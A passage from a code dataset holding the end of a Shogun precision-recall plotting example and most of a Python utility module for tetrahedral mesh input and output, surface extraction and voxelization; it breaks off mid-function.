example')\nutil.DISTANCE=0.5\nsubplots_adjust(hspace=0.3)\n\npos = util.get_realdata(True)\nneg = util.get_realdata(False)\nfeatures=util.get_realfeatures(pos, neg)\nlabels=util.get_labels()\n\n# classifiers\ngk = sg.GaussianKernel(features, features, 1.0)\nsvm = sg.LibSVM(1000.0, gk, labels)\nsvm.train()\nlda = sg.LDA(1,features,labels)\nlda.train()\n\n## plot points\nsubplot(211)\nplot(pos[0,:], pos[1,:], \"r.\")\nplot(neg[0,:], neg[1,:], \"b.\")\ngrid(True)\ntitle('Data',size=10)\n\n# plot PRC for SVM\nsubplot(223)\nPRC_evaluation = sg.PRCEvaluation()\nPRC_evaluation.evaluate(svm.apply(),labels)\nPRC = PRC_evaluation.get_PRC()\nplot(PRC[0], PRC[1])\nfill_between(PRC[0],PRC[1],0,alpha=0.1)\ntext(0.55,mean(PRC[1])/3,'auPRC = %.5f' % PRC_evaluation.get_auPRC())\ngrid(True)\nxlabel('Precision')\nylabel('Recall')\ntitle('LibSVM (Gaussian kernel, C=%.3f) PRC curve' % svm.get_C1(),size=10)\n\n# plot PRC for LDA\nsubplot(224)\nPRC_evaluation.evaluate(lda.apply(),labels)\nPRC = PRC_evaluation.get_PRC()\nplot(PRC[0], PRC[1])\nfill_between(PRC[0],PRC[1],0,alpha=0.1)\ntext(0.55,mean(PRC[1])/3,'auPRC = %.5f' % PRC_evaluation.get_auPRC())\ngrid(True)\nxlabel('Precision')\nylabel('Recall')\ntitle('LDA (gamma=%.3f) PRC curve' % lda.get_gamma(),size=10)\n\nconnect('key_press_event', util.quit)\nshow()\n\n","repo_name":"shogun-toolbox/shogun","sub_path":"examples/undocumented/python/graphical/prc.py","file_name":"prc.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":2975,"dataset":"github-code","pt":"75"} +{"seq_id":"71962588081","text":"import os\nimport igl\nimport struct\nimport subprocess\nimport numpy as np\nimport torch\n# from utils.common import ndarray, filter_unused_vertices\n\nfilter_unused_vertices = None\nndarray = np.array\n\n# use this function to generate *3D* tet meshes.\n# vertices: n x 3 numpy array.\n# faces: m x 4 numpy array.\ndef write_mesh(vertices, faces, bin_file_name):\n with open(bin_file_name, 'wb') as f:\n f.write(struct.pack('i', 3))\n f.write(struct.pack('i', 4))\n # Vertices.\n vert_num, _ = ndarray(vertices).shape\n f.write(struct.pack('i', 3))\n f.write(struct.pack('i', vert_num))\n for v in vertices:\n f.write(struct.pack('d', v[0]))\n for v in vertices:\n f.write(struct.pack('d', v[1]))\n for v in vertices:\n f.write(struct.pack('d', v[2]))\n\n # Faces.\n faces = ndarray(faces).astype(np.int)\n face_num, nv = faces.shape\n f.write(struct.pack('i', nv))\n f.write(struct.pack('i', face_num))\n for j in range(nv):\n for i in range(face_num):\n f.write(struct.pack('i', faces[i, j]))\n\n\ndef read_mesh(bin_file_name):\n if not os.path.exists(bin_file_name):\n return None\n\n with open(bin_file_name, 'rb') as mesh:\n struct.unpack('i', mesh.read(4))\n struct.unpack('i', mesh.read(4))\n # Vertices.\n nd = struct.unpack('i', mesh.read(4))[0]\n vert_num = struct.unpack('i', mesh.read(4))[0]\n vertices = np.zeros(shape=[vert_num, nd]).astype(np.float64)\n for j in range(nd):\n for i in range(vert_num):\n vertices[i, j] = struct.unpack('d', mesh.read(8))[0]\n\n # Faces.\n nv = struct.unpack('i', mesh.read(4))[0]\n face_num = struct.unpack('i', mesh.read(4))[0]\n faces = np.zeros(shape=[face_num, nv]).astype(np.int32)\n for j in range(nv):\n for i in range(face_num):\n faces[i, j] = struct.unpack('i', mesh.read(4))[0]\n\n return vertices, faces\n\n\ndef write_w(w, bin_file_name):\n n = w.shape[0]\n with open(bin_file_name, 'wb') as f:\n f.write(struct.pack('i', n))\n for i in range(n):\n f.write(struct.pack('f', w[i]))\n\n\ndef read_w(bin_file_name):\n if not os.path.exists(bin_file_name):\n return None\n\n with open(bin_file_name, 'rb') as weights:\n n = struct.unpack('i', weights.read(4))[0]\n # Vertices.\n w = np.zeros(shape=[n]).astype(np.float32)\n for i in range(n):\n w[i] = struct.unpack('f', weights.read(4))[0]\n return w\n\n\ndef write_d(d, bin_file_name):\n n = d.shape[0]\n with open(bin_file_name, 'wb') as f:\n f.write(struct.pack('i', n))\n for i in range(n):\n f.write(struct.pack('i', d[i]))\n\n\ndef read_d(bin_file_name):\n if not os.path.exists(bin_file_name):\n return None\n\n with open(bin_file_name, 'rb') as dirichilet:\n n = struct.unpack('i', dirichilet.read(4))[0]\n # Vertices.\n d = np.zeros(shape=[n]).astype(np.int64)\n for i in range(n):\n d[i] = struct.unpack('i', dirichilet.read(4))[0]\n return d\n\n# Given four vertices of a tet, return a 4 x 3 int arrays of 0, 1, 2, and 3. Each row describes\n# a surface triangle whose normal is pointing outward if you follow the vertices by the righ-hand rule.\ndef fix_tet_faces(verts):\n verts = ndarray(verts)\n v0, v1, v2, v3 = verts\n f = []\n if np.cross(v1 - v0, v2 - v1).dot(v3 - v0) < 0:\n f = [\n (0, 1, 2),\n (2, 1, 3),\n (1, 0, 3),\n (0, 2, 3),\n ]\n else:\n f = [\n (1, 0, 2),\n (1, 2, 3),\n (0, 1, 3),\n (2, 0, 3),\n ]\n\n return ndarray(f).astype(np.int)\n\n# Given a tet mesh, save it as an obj file with texture coordinates.\ndef tet2obj_with_textures(tet_mesh, obj_file_name=None, pbrt_file_name=None):\n vertex_num = tet_mesh.NumOfVertices()\n element_num = tet_mesh.NumOfElements()\n\n v = []\n for i in range(vertex_num):\n v.append(tet_mesh.py_vertex(i))\n v = ndarray(v)\n\n face_dict = {}\n for i in range(element_num):\n fi = list(tet_mesh.py_element(i))\n element_vert = []\n for vi in fi:\n element_vert.append(tet_mesh.py_vertex(vi))\n element_vert = ndarray(element_vert)\n face_idx = fix_tet_faces(element_vert)\n for f in face_idx:\n vidx = [int(fi[fij]) for fij in f]\n vidx_key = tuple(sorted(vidx))\n if vidx_key in face_dict:\n del face_dict[vidx_key]\n else:\n face_dict[vidx_key] = vidx\n\n f = []\n for _, vidx in face_dict.items():\n f.append(vidx)\n f = ndarray(f).astype(int)\n\n v, f = filter_unused_vertices(v, f)\n\n v_out = []\n f_out = []\n v_cnt = 0\n for fi in f:\n fi_out = [v_cnt, v_cnt + 1, v_cnt + 2]\n f_out.append(fi_out)\n v_cnt += 3\n for vi in fi:\n v_out.append(ndarray(v[vi]))\n\n texture_map = [[0, 0], [1, 0], [0, 1]]\n if obj_file_name is not None:\n with open(obj_file_name, 'w') as f_obj:\n for vv in v_out:\n f_obj.write('v {:6f} {:6f} {:6f}\\n'.format(vv[0], vv[1], vv[2]))\n for u, v in texture_map:\n f_obj.write('vt {:6f} {:6f}\\n'.format(u, v))\n for ff in f_out:\n f_obj.write('f {:d}/1 {:d}/2 {:d}/3\\n'.format(ff[0] + 1, ff[1] + 1, ff[2] + 1))\n\n if pbrt_file_name is not None:\n with open(pbrt_file_name, 'w') as f_pbrt:\n f_pbrt.write('AttributeBegin\\n')\n f_pbrt.write('Shape \"trianglemesh\"\\n')\n\n # Log point data.\n f_pbrt.write(' \"point3 P\" [\\n')\n for vv in v_out:\n f_pbrt.write(' {:6f} {:6f} {:6f}\\n'.format(vv[0], vv[1], vv[2]))\n f_pbrt.write(']\\n')\n\n # Log texture data.\n f_pbrt.write(' \"float uv\" [\\n')\n for _ in range(int(len(v_out) / 3)):\n f_pbrt.write(' 0 0\\n')\n f_pbrt.write(' 1 0\\n')\n f_pbrt.write(' 0 1\\n')\n f_pbrt.write(']\\n')\n\n # Log face data.\n f_pbrt.write(' \"integer indices\" [\\n')\n for ff in f_out:\n f_pbrt.write(' {:d} {:d} {:d}\\n'.format(ff[0], ff[1], ff[2]))\n f_pbrt.write(']\\n')\n f_pbrt.write('AttributeEnd\\n')\n\n# Given tet_mesh, return vert and faces that describes the surface mesh as a triangle mesh.\n# You should use this function mostly for rendering.\n# Output:\n# - vertices: an n x 3 double array.\n# - faces: an m x 3 integer array.\ndef tet2obj(tet_mesh, obj_file_name=None):\n vertex_num = tet_mesh.NumOfVertices()\n element_num = tet_mesh.NumOfElements()\n\n v = []\n for i in range(vertex_num):\n v.append(tet_mesh.py_vertex(i))\n v = ndarray(v)\n\n face_dict = {}\n for i in range(element_num):\n fi = list(tet_mesh.py_element(i))\n element_vert = []\n for vi in fi:\n element_vert.append(tet_mesh.py_vertex(vi))\n element_vert = ndarray(element_vert)\n face_idx = fix_tet_faces(element_vert)\n for f in face_idx:\n vidx = [int(fi[fij]) for fij in f]\n vidx_key = tuple(sorted(vidx))\n if vidx_key in face_dict:\n del face_dict[vidx_key]\n else:\n face_dict[vidx_key] = vidx\n\n f = []\n for _, vidx in face_dict.items():\n f.append(vidx)\n f = ndarray(f).astype(int)\n\n v, f = filter_unused_vertices(v, f)\n\n if obj_file_name is not None:\n with open(obj_file_name, 'w') as f_obj:\n for vv in v:\n f_obj.write('v {} {} {}\\n'.format(vv[0], vv[1], vv[2]))\n for ff in f:\n f_obj.write('f {} {} {}\\n'.format(ff[0] + 1, ff[1] + 1, ff[2] + 1))\n\n return v, f\n\n# Extract boundary faces from a 3D mesh.\ndef get_boundary_face(tet_mesh):\n _, f = tet2obj(tet_mesh)\n return f\n\n# Input:\n# - verts: a 4 x 3 matrix.\n# Output:\n# - solid_angles: a 4d array where each element corresponds to the solid angle spanned by the other three vertices.\ndef compute_tet_angles(verts):\n partition = [\n ([1, 2, 3], 0),\n ([0, 2, 3], 1),\n ([0, 1, 3], 2),\n ([0, 1, 2], 3)\n ]\n verts = ndarray(verts)\n solid_angles = np.zeros(4)\n for (i0, i1, i2), apex_idx in partition:\n apex = verts[apex_idx]\n v0 = verts[i0]\n v1 = verts[i1]\n v2 = verts[i2]\n # https://en.wikipedia.org/wiki/Solid_angle#Tetrahedron.\n a_vec = v0 - apex\n b_vec = v1 - apex\n c_vec = v2 - apex\n a = np.linalg.norm(a_vec)\n b = np.linalg.norm(b_vec)\n c = np.linalg.norm(c_vec)\n tan_half_omega = a_vec.dot(np.cross(b_vec, c_vec)) / (\n a * b * c + a_vec.dot(b_vec) * c + a_vec.dot(c_vec) * b + b_vec.dot(c_vec) * a\n )\n solid_angles[apex_idx] = np.arctan(np.abs(tan_half_omega)) * 2\n return solid_angles\n\n# Return a heuristic set of vertices that could be used for contact handling.\n# - threshold: a vertex is considered to be a contact vertex if its solid angle < threshold.\ndef get_contact_vertex(tet_mesh, threshold=2 * np.pi):\n vertex_num = tet_mesh.NumOfVertices()\n element_num = tet_mesh.NumOfElements()\n\n v_solid_angle = np.zeros(vertex_num)\n for e in range(element_num):\n vertex_indices = list(tet_mesh.py_element(e))\n verts = []\n for vi in vertex_indices:\n verts.append(tet_mesh.py_vertex(vi))\n solid_angles = compute_tet_angles(verts)\n for vi, ai in zip(vertex_indices, solid_angles):\n v_solid_angle[vi] += ai\n\n contact_nodes = []\n for i, val in enumerate(v_solid_angle):\n if val < threshold:\n contact_nodes.append(i)\n return contact_nodes\n\n# Input:\n# - node_file and ele_file: generated by tetgen.\n# Output:\n# - verts: n x 3.\n# - elements: m x 4.\ndef read_tetgen_file(node_file, ele_file):\n with open(node_file, 'r') as f:\n lines = f.readlines()\n lines = [l.strip().split() for l in lines]\n node_num = int(lines[0][0])\n nodes = ndarray([[float(v) for v in lines[i + 1][1:4]] for i in range(node_num)])\n\n with open(ele_file, 'r') as f:\n lines = f.readlines()\n lines = [l.strip().split() for l in lines]\n ele_num = int(lines[0][0])\n elements = np.asarray([[int(e) for e in lines[i + 1][1:5]] for i in range(ele_num)], dtype=int)\n elements = elements - 1\n\n # nodes is an n x 3 matrix.\n # elements is an m x 4 or m x 10 matrix. See this doc for details.\n # http://wias-berlin.de/software/tetgen/1.5/doc/manual/manual006.html#ff_ele.\n # In both cases, the first four columns of elements are the tets.\n # Fix the sign of elements if necessary.\n # elements_unsigned = elements.copy()\n # elements = []\n # for e in elements_unsigned:\n # v = ndarray([nodes[ei] for ei in e])\n # v0, v1, v2, v3 = v\n # if np.cross(v1 - v0, v2 - v1).dot(v3 - v0) < 0:\n # elements.append(e)\n # else:\n # elements.append([e[0], e[2], e[1], e[3]])\n # elements = ndarray(elements).astype(np.int)\n # nodes, elements = filter_unused_vertices(nodes, elements)\n return nodes, elements\n\n\ndef write_poly_file(vertices, faces, holes, file_name):\n polyfile = open(file_name, 'w')\n\n # Part 1 - node list\n # First line: <# of points> <# of attributes> <# of boundary markers (0 or 1)>\n # Remaining lines list # of points:\n # [attributes] [boundary marker]\n polyfile.write(\"{} {} {} {}\\n\".format(vertices.shape[0], int(3), int(0), int(0))) # no attributes, no boundary markers\n for i, item in enumerate(vertices):\n polyfile.write(\"{} {} {} {}\\n\".format(i+1, item[0], item[1], item[2]))\n\n # Part 2 - facet list\n # One line: <# of facets> \n # Following lines list # of facets:\n # \n # where each has the following format:\n # One line: <# of polygons> [# of holes] [boundary marker]\n # Following lines list # of polygons:\n # <# of corners> ... \n # ...\n # Following lines list # of holes:\n # \n polyfile.write(\"{} {}\\n\".format(faces.shape[0], int(0))) # no boundary markers\n for item in faces:\n item = item + 1 # cpp tetgen starts at 1 not 0\n polyfile.write(\"{}\\n\".format(int(1))) # 1 polygon\n polyfile.write(\"{} {} {} {}\\n\".format(int(3), item[0], item[1], item[2])) # 3 corners\n\n # Part 3 - hole list\n # One line: <# of holes>\n # Following lines list # of holes:\n # \n if holes is None:\n holes = np.array([])\n\n polyfile.write(\"{}\\n\".format(holes.shape[0]))\n for i, item in enumerate(holes):\n polyfile.write(\"{} {} {} {}\\n\".format(i+1, item[0], item[1], item[2]))\n\n # Part 4 - region list\n polyfile.write(\"{}\\n\".format(0)) # no regions\n\n polyfile.close()\n\n\n# ========================= voxel related ============================= #\ndef initialize_grid(vertices, step):\n bb_max = vertices.max(0)\n bb_min = vertices.min(0)\n radius = np.linalg.norm(bb_max - bb_min) * 0.5\n step = step * radius\n\n bb_max = vertices.max(0)\n bb_min = vertices.min(0)\n center = (bb_max + bb_min) * 0.5\n bb_min = center + (bb_min - center) * 1.2\n bb_max = center + (bb_max - center) * 1.2\n\n origin = bb_min\n grid_size = np.ceil((bb_max - bb_min) / step).astype(np.int64)\n occupancy = np.zeros(shape=grid_size[::-1], dtype=np.bool)\n\n return occupancy, origin, step, radius\n\n\ndef voxelize_sur_mesh(vertices, faces, step):\n # vertices m * d\n # 1. define the region of the voxelization\n occupancy, origin, step, radius = initialize_grid(vertices, step)\n\n # Voxelization.\n d, h, w = occupancy.shape\n z = np.arange(0, d)[:, None, None]\n y = np.arange(0, h)[None, :, None]\n x = np.arange(0, w)[None, None, :]\n z = np.tile(z, [1, h, w]).reshape(-1, 1)\n y = np.tile(y, [d, 1, w]).reshape(-1, 1)\n x = np.tile(x, [d, h, 1]).reshape(-1, 1)\n p = np.concatenate([x, y, z], axis=-1)\n center = (p + 0.5) * step + origin\n signed_distance, _, _ = igl.signed_distance(center, vertices, faces)\n indexing = signed_distance < 0\n x = x[indexing]\n y = y[indexing]\n z = z[indexing]\n occupancy[z, y, x] = 1\n\n return occupancy, origin, step\n\n\ndef voxelize_tet_mesh(vertices, elements, surfaces, step=0.01, add_flesh_constraint=True):\n # vertices m * d\n # 1. define the region of the voxelization\n occupancy, origin, step, radius = initialize_grid(vertices, step)\n occupancy = rasterize_tets(vertices[elements], occupancy, origin, step)\n\n for surface in surfaces:\n s_vertices, s_faces = surface\n occupancy = np.logical_or(occupancy, rasterize_faces(s_vertices[s_faces], occupancy.copy(), origin, step))\n\n # add flesh width constraints\n if add_flesh_constraint:\n grid_z, grid_y, grid_x = occupancy.nonzero()\n grid = np.concatenate([grid_x[:, None], grid_y[:, None], grid_z[:, None]], axis=-1)\n grid = (grid + 0.5) * step + origin\n\n m = 0\n v = []\n f = []\n for i, surface in enumerate(surfaces):\n v.append(surface[0])\n f.append(surface[1] + m)\n m += v[-1].shape[0]\n v = np.concatenate(v, axis=0)\n f = np.concatenate(f, axis=0)\n\n dists, _, _ = igl.point_mesh_squared_distance(grid, v, f)\n index = dists > (radius * 0.05) ** 2\n grid_z = grid_z[index]\n grid_y = grid_y[index]\n grid_x = grid_x[index]\n\n occupancy[grid_z, grid_y, grid_x] = 0\n\n return occupancy, origin, step\n\n\ndef occupancy_to_tet_mesh(occupancy, origin, surfaces, step=0.001):\n # extract surface point interpolation weights and control points\n # occupancy d * h * w * c, c being the material parameters, suitable for non-manifold meshing\n vertices = []\n elements = []\n\n d, h, w = occupancy.shape\n vertex_indices = np.ones([d*2+1, h*2+1, w*2+1], dtype=np.int64) * -1\n\n def add_object(x):\n vertices.append(x)\n return len(vertices) - 1\n\n def add_tet_point(i, j, k):\n ii = int(i * 2)\n jj = int(j * 2)\n kk = int(k * 2)\n\n if vertex_indices[kk, jj, ii] < 0:\n id = add_object((i * step, j * step, k * step))\n vertex_indices[kk, jj, ii] = id\n else:\n id = vertex_indices[kk, jj, ii]\n\n return id\n\n def add_tet_cubic(i, j, k):\n a = add_tet_point(i, j, k)\n b = add_tet_point(i, j + 1, k)\n c = add_tet_point(i + 1, j + 1, k)\n d = add_tet_point(i + 1, j, k)\n\n e = add_tet_point(i, j, k + 1)\n f = add_tet_point(i, j + 1, k + 1)\n g = add_tet_point(i + 1, j + 1, k + 1)\n h = add_tet_point(i + 1, j, k + 1)\n\n faces = [[a, b, c, d],\n [d, c, g, h],\n [h, g, f, e],\n [e, f, b, a],\n [f, b, c, g],\n [e, a, d, h]]\n\n C = add_tet_point(i + 0.5, j + 0.5, k + 0.5)\n\n centers = [add_tet_point(i + 0.5, j + 0.5, k),\n add_tet_point(i + 1, j + 0.5, k + 0.5),\n add_tet_point(i + 0.5, j + 0.5, k + 1),\n add_tet_point(i, j + 0.5, k + 0.5),\n add_tet_point(i + 0.5, j + 1, k + 0.5),\n add_tet_point(i + 0.5, j, k + 0.5)]\n\n for c, f in zip(centers, faces):\n ff = f + [f[0]]\n for i in range(4):\n elements.append((ff[i], ff[i + 1], c, C))\n\n d, h, w = occupancy.shape\n for k in range(d):\n for j in range(h):\n for i in range(w):\n if occupancy[k, j, i]:\n add_tet_cubic(i, j, k)\n\n vertices = np.array(vertices, dtype=np.float32) + origin\n elements = np.array(elements, dtype=np.float32)\n\n # surface points\n control_indices = []\n control_weights = []\n grid_indices = vertex_indices[::2, ::2, ::2]\n for surface in surfaces:\n s = (surface - origin) / step\n x, y, z = np.split(s, 3, axis=-1)\n\n x0 = x.astype(np.int64)\n y0 = y.astype(np.int64)\n z0 = z.astype(np.int64)\n\n z1 = np.clip(z0 + 1, 0, d)\n y1 = np.clip(y0 + 1, 0, h)\n x1 = np.clip(x0 + 1, 0, w)\n\n wz = z - z0.astype(np.float32)\n wy = y - y0.astype(np.float32)\n wx = x - x0.astype(np.float32)\n\n wzInv = 1. - wz\n wyInv = 1. - wy\n wxInv = 1. - wx\n\n v000 = grid_indices[z0, y0, x0]\n v001 = grid_indices[z0, y0, x1]\n v010 = grid_indices[z0, y1, x0]\n v011 = grid_indices[z0, y1, x1]\n\n v100 = grid_indices[z1, y0, x0]\n v101 = grid_indices[z1, y0, x1]\n v110 = grid_indices[z1, y1, x0]\n v111 = grid_indices[z1, y1, x1]\n\n w000 = wzInv * wyInv * wxInv\n w001 = wzInv * wyInv * wx\n w010 = wzInv * wy * wxInv\n w011 = wzInv * wy * wx\n\n w100 = wz * wyInv * wxInv\n w101 = wz * wyInv * wx\n w110 = wz * wy * wxInv\n w111 = wz * wy * wx\n\n control_indices.append(np.concatenate([v000, v001, v010, v011,\n v100, v101, v110, v111], axis=-1))\n control_weights.append(np.concatenate([w000, w001, w010, w011,\n w100, w101, w110, w111], axis=-1))\n\n # m, v = control_indices[-1].shape\n # control_vertices = vertices[control_indices[-1].reshape(-1)].reshape(m, v, -1)\n # control_v = control_vertices * control_weights[-1][..., None]\n # control_v = control_v.sum(-2)\n\n return vertices, elements, control_indices, control_weights\n\n\ndef occupancy_to_tet_mesh_with_flags(occupancy, origin, surfaces, surfaces_states, step=0.001):\n # extract surface point interpolation weights and control points\n # occupancy d * h * w * c, c being the material parameters, suitable for non-manifold meshing\n vertices = []\n elements = []\n\n d, h, w, nf = occupancy.shape\n vertex_indices = np.ones([d*2+1, h*2+1, w*2+1, nf], dtype=np.int64) * -1\n grid_indices = vertex_indices[::2, ::2, ::2] # a view\n\n def add_object(x):\n vertices.append(x)\n return len(vertices) - 1\n\n def add_tet_point(i, j, k, flag):\n ii = int(i * 2)\n jj = int(j * 2)\n kk = int(k * 2)\n\n id = None\n if vertex_indices[kk, jj, ii, 0] < 0:\n # second check the flag\n if vertex_indices[kk, jj, ii, flag] < 0:\n id = add_object((i * step, j * step, k * step))\n vertex_indices[kk, jj, ii, flag] = id\n else:\n id = vertex_indices[kk, jj, ii, flag]\n else:\n id = vertex_indices[kk, jj, ii, 0]\n\n return id\n\n def add_tet_cubic(i, j, k, flag):\n a = add_tet_point(i, j, k, flag)\n b = add_tet_point(i, j + 1, k, flag)\n c = add_tet_point(i + 1, j + 1, k, flag)\n d = add_tet_point(i + 1, j, k, flag)\n\n e = add_tet_point(i, j, k + 1, flag)\n f = add_tet_point(i, j + 1, k + 1, flag)\n g = add_tet_point(i + 1, j + 1, k + 1, flag)\n h = add_tet_point(i + 1, j, k + 1, flag)\n\n faces = [[a, b, c, d],\n [d, c, g, h],\n [h, g, f, e],\n [e, f, b, a],\n [f, b, c, g],\n [e, a, d, h]]\n\n C = add_tet_point(i + 0.5, j + 0.5, k + 0.5, flag)\n\n centers = [add_tet_point(i + 0.5, j + 0.5, k, flag),\n add_tet_point(i + 1, j + 0.5, k + 0.5, flag),\n add_tet_point(i + 0.5, j + 0.5, k + 1, flag),\n add_tet_point(i, j + 0.5, k + 0.5, flag),\n add_tet_point(i + 0.5, j + 1, k + 0.5, flag),\n add_tet_point(i + 0.5, j, k + 0.5, flag)]\n\n for c, f in zip(centers, faces):\n ff = f + [f[0]]\n for i in range(4):\n elements.append((ff[i], ff[i + 1], c, C))\n\n def get_grid_index(z, y, x, flag):\n flag = flag.copy()\n exist_flags = (grid_indices[z, y, x] >= 0).astype(np.int64)\n condition = grid_indices[z, y, x, flag] < 0\n # condition = np.sum(exist_flags, axis=-1)\n # assert np.all(condition > 0)\n # index = condition == 1\n # flag = exist_flags.argmax(-1)\n flag[condition] = exist_flags.argmax(-1)[condition]\n return grid_indices[z, y, x, flag]\n\n for flag in range(nf):\n for k in range(d):\n for j in range(h):\n for i in range(w):\n if occupancy[k, j, i, flag]:\n add_tet_cubic(i, j, k, flag)\n\n vertices = np.array(vertices, dtype=np.float32) + origin\n elements = np.array(elements, dtype=np.float32)\n\n # surface points\n control_indices = []\n control_weights = []\n\n for surface, surface_states in zip(surfaces, surfaces_states):\n s = (surface - origin) / step\n x, y, z = np.split(s, 3, axis=-1)\n\n x0 = x.astype(np.int64)\n y0 = y.astype(np.int64)\n z0 = z.astype(np.int64)\n\n z1 = np.clip(z0 + 1, 0, d)\n y1 = np.clip(y0 + 1, 0, h)\n x1 = np.clip(x0 + 1, 0, w)\n\n wz = z - z0.astype(np.float32)\n wy = y - y0.astype(np.float32)\n wx = x - x0.astype(np.float32)\n\n wzInv = 1. - wz\n wyInv = 1. - wy\n wxInv = 1. - wx\n\n v000 = get_grid_index(z0, y0, x0, surface_states)\n v001 = get_grid_index(z0, y0, x1, surface_states)\n v010 = get_grid_index(z0, y1, x0, surface_states)\n v011 = get_grid_index(z0, y1, x1, surface_states)\n\n v100 = get_grid_index(z1, y0, x0, surface_states)\n v101 = get_grid_index(z1, y0, x1, surface_states)\n v110 = get_grid_index(z1, y1, x0, surface_states)\n v111 = get_grid_index(z1, y1, x1, surface_states)\n\n w000 = wzInv * wyInv * wxInv\n w001 = wzInv * wyInv * wx\n w010 = wzInv * wy * wxInv\n w011 = wzInv * wy * wx\n\n w100 = wz * wyInv * wxInv\n w101 = wz * wyInv * wx\n w110 = wz * wy * wxInv\n w111 = wz * wy * wx\n\n control_indices.append(np.concatenate([v000, v001, v010, v011,\n v100, v101, v110, v111], axis=-1))\n control_weights.append(np.concatenate([w000, w001, w010, w011,\n w100, w101, w110, w111], axis=-1))\n\n m, v = control_indices[-1].shape\n control_vertices = vertices[control_indices[-1].reshape(-1)].reshape(m, v, -1)\n control_v = control_vertices * control_weights[-1][..., None]\n control_v = control_v.sum(-2)\n print(np.max(np.abs(control_v - surface)))\n\n return vertices, elements, control_indices, control_weights\n\n\ndef rasterize_points(points, occupancy, origin, step):\n p = points\n g = (p - origin) / step\n g = g.astype(np.int64)\n occupancy[g[:, 2], g[:, 1], g[:, 0]] = 1\n\n return occupancy\n\n\ndef rasterize_lines(lines, occupancy, origin, step):\n st_pt = lines[:, 0]\n en_pt = lines[:, 1]\n occupancy[:] = 0\n length = np.linalg.norm(st_pt - en_pt, axis=-1)\n steps = max(int(np.ceil(length.max() / step * 1.1)), 2)\n for w in np.linspace(0, 1, steps):\n p = st_pt * (1 - w) + en_pt * w\n g = (p - origin) / step\n g = g.astype(np.int64)\n occupancy[g[:, 2], g[:, 1], g[:, 0]] = 1\n\n return occupancy\n\n\ndef rasterize_faces(faces, occupancy, origin, step):\n\n occupancy[:] = 0 # bool\n grid_size = np.array(occupancy.shape[::-1])\n for v in faces:\n\n grid_min = (v.min(0) - origin) / step\n grid_max = (v.max(0) - origin) / step\n grid_min = np.clip(grid_min.astype(np.int) - 1, 0, grid_size - 1) # included\n grid_max = np.clip(grid_max.astype(np.int) + 2, 0, grid_size)\n\n w, h, d = (grid_max - grid_min)[:]\n z = np.arange(grid_min[2], grid_max[2])[:, None, None]\n y = np.arange(grid_min[1], grid_max[1])[None, :, None]\n x = np.arange(grid_min[0], grid_max[0])[None, None, :]\n z = np.tile(z, [1, h, w])[..., None]\n y = np.tile(y, [d, 1, w])[..., None]\n x = np.tile(x, [d, h, 1])[..., None]\n p = np.concatenate([x, y, z], axis=-1)\n p = (p + 0.5) * step + origin # center of the grid\n p = p.reshape(-1, 3)\n\n dists, facets, points = igl.point_mesh_squared_distance(p, v, np.arange(v.shape[0])[None])\n occ = dists < (step * 0.5) ** 2\n\n occupancy[grid_min[2]:grid_max[2], grid_min[1]:grid_max[1], grid_min[0]:grid_max[0]] |= occ.reshape((d, h, w))\n\n g = (faces.reshape(-1, 3) - origin) / step\n g = g.astype(np.int64)\n occupancy[g[:, 2], g[:, 1], g[:, 0]] = 1\n\n return occupancy\n\n\ndef rasterize_tets(tets, occupancy, origin, step):\n # different to rasterize faces/lines, only tet whose center lies in the tet is considered\n occupancy[:] = 0 # bool\n grid_size = np.array(occupancy.shape[::-1])\n for v in tets:\n grid_min = (v.min(0) - origin) / step\n grid_max = (v.max(0) - origin) / step\n grid_min = np.clip(grid_min.astype(np.int) - 1, 0, grid_size - 1) # included\n grid_max = np.clip(grid_max.astype(np.int) + 2, 0, grid_size)\n\n w, h, d = (grid_max - grid_min)[:]\n\n z = np.arange(grid_min[2], grid_max[2])[:, None, None]\n y = np.arange(grid_min[1], grid_max[1])[None, :, None]\n x = np.arange(grid_min[0], grid_max[0])[None, None, :]\n\n z = np.tile(z, [1, h, w])[..., None]\n y = np.tile(y, [d, 1, w])[..., None]\n x = np.tile(x, [d, h, 1])[..., None]\n\n p = np.concatenate([x, y, z], axis=-1)\n p = (p + 0.5) * step + origin\n p = p.reshape(-1, 3)\n\n l = get_barycentric_weights_N_1(p, v)\n\n index = np.all(l >= 0, axis=0)\n index = np.logical_and(index, l.sum(0) <= 1)\n occ = np.zeros(shape=[d*h*w], dtype=np.bool)\n occ[index] = True\n\n occupancy[grid_min[2]:grid_max[2], grid_min[1]:grid_max[1], grid_min[0]:grid_max[0]] |= occ.reshape((d, h, w))\n\n return occupancy\n\n\ndef cut_voxel_with_boundary(surface_vertices_half, surface_faces_half, occupancy, origin, step):\n boundary_edges = igl.boundary_facets(surface_faces_half)\n boundary_edges = surface_vertices_half[boundary_edges].copy()\n boundary = rasterize_lines(boundary_edges, occupancy.copy(), origin, step)\n\n # ad-hoc part\n z, y, x = boundary.nonzero()\n for i in range(z.shape[0]):\n boundary[:, y[i], x[i]:] = 1\n\n # rasterize the surfaces, make sure every vertices locate inside the voxels\n boundary = np.logical_or(boundary, rasterize_faces(surface_vertices_half[surface_faces_half], boundary.copy(), origin, step))\n occupancy = np.logical_and(occupancy, boundary)\n\n return occupancy\n\n\n# def dilate_occ_with_guidance(surface, vertices, elements, occ, coorespondence):\n# # occ_source could not contain occ\n# surface_indices = get_indices_by_distance(surface, vertices)\n# one_jump_neigbors = get_neigbors_with_one_jump(vertices, elements)\n# _, neighbors = get_neigbors_with_multiple_jumps(surface_indices, one_jump_neigbors, jump=0, elements=elements)\n#\n# write_mesh(vertices, elements[neighbors], \"sss.bin\")\n# # dilate the occupancy with guidance\n# d, h, w = occ.shape\n# grid = occ.reshape(-1).nonzero()[0]\n# grid_z = grid // (h*w)\n# grid_y = grid % (h*w) // w\n# grid_x = grid % w\n# assert(np.all(grid_x + grid_y * w + grid_z * h * w == grid))\n#\n# # coords = np.concatenate([grid_x[:, None], grid_y[:, None], grid_z[:, None]], axis=-1)\n# dilated = np.zeros_like(occ)\n# for k in range(-1, 2):\n# for i in range(-1, 2):\n# for j in range(-1, 2):\n# if i == 0 and j == 0 and k == 0:\n# continue\n# z = grid_z + k\n# y = grid_y + j\n# x = grid_x + i\n#\n# tets = coorespondence[z, y, x]\n# flag = np.min(np.abs(tets[:, None] - neighbors[None]), axis=-1) == 0\n#\n# z = z[flag]\n# y = y[flag]\n# x = x[flag]\n#\n# dilated[z, y, x] = True\n#\n# return dilated\n\n\ndef dilate_occ_with_guidance_simple(surface_vertices, surface_faces, occ, origin, step):\n\n # dilate the occupancy 